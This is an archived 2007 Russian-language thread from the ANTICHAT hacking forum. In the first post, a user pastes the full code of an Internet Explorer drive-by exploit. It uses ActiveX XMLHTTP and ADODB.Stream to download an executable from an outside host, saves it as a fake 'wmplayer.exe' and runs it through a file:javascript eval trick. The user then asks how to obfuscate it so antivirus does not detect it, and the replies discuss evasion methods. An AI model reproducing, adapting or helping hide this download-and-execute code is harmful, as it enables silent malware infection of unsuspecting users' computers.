ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Windows
Перезагрузить страницу Сплойтец под Ie
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Сплойтец под Ie
  #1  
Старый 07.02.2007, 23:45
baz1k
Познающий
Регистрация: 22.08.2006
Сообщений: 47
Провел на форуме:
132884

Репутация: 47
Отправить сообщение для baz1k с помощью ICQ
Talking Сплойтец под Ie
Привет, ребят! Есть такой старенький сплойт под IE, вот его код:
PHP код:
<textarea id="code" style="display:none;">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://bazik.km.ru/1.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("c:\\wmplayer.exe",2);
location.href = "mms://";
</textarea>
<script language="javascript">
function Zqqw(code){
result='';
lines=code.split(/\r\n/);
for(i=0;i<lines.length;i++){
line=lines[i];
line=line.replace(/^\s+/,"");
line=line.replace(/\s+$/,"");
line=line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = Zqqw(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media")
}
window.open("c:\\wmplayer.exe","_media");
setTimeout("doit()", 5000);
</script> 
Конечно же он палится любым антивирусом! Есть способы шифрования и чего то еще, главное что б работало и не палилось..?
Если идей нет подскажите что-то похожее по принципу действия, ну кроме WMF..?
 
Ответить с цитированием

  #2  
Старый 08.02.2007, 22:16
Otaku
Познавший АНТИЧАТ
Регистрация: 24.07.2005
Сообщений: 1,057
Провел на форуме:
1864132

Репутация: 116


По умолчанию
для начала попробуй
http://forum.antichat.ru/thread27118.html
 
Ответить с цитированием

  #3  
Старый 09.02.2007, 17:45
pop_korn
Участник форума
Регистрация: 13.09.2005
Сообщений: 170
Провел на форуме:
483324

Репутация: 92
По умолчанию
Цитата:
для начала попробуй
http://forum.antichat.ru/thread27118.html
не проканает, таким методом, только на серверной стороне не будет палится...
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Хостинги под всё! »Atom1c« ПО для Web разработчика 29 10.02.2009 17:56
RAT server под win32 и PERL клиент под UNIX n4n0bit Защита ОС: вирусы, антивирусы, файрволы. 3 01.12.2006 19:43
Вирь только под СИМЕНСЫ ! для моделей 55/65 70/75 серии,и аналоговых . Undernative Сотовый фрикинг 16 23.10.2006 09:57
«Лаборатории Касперского»: Количество вредоносных программ под Linux резко возросло dinar_007 Мировые новости 9 20.08.2006 20:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ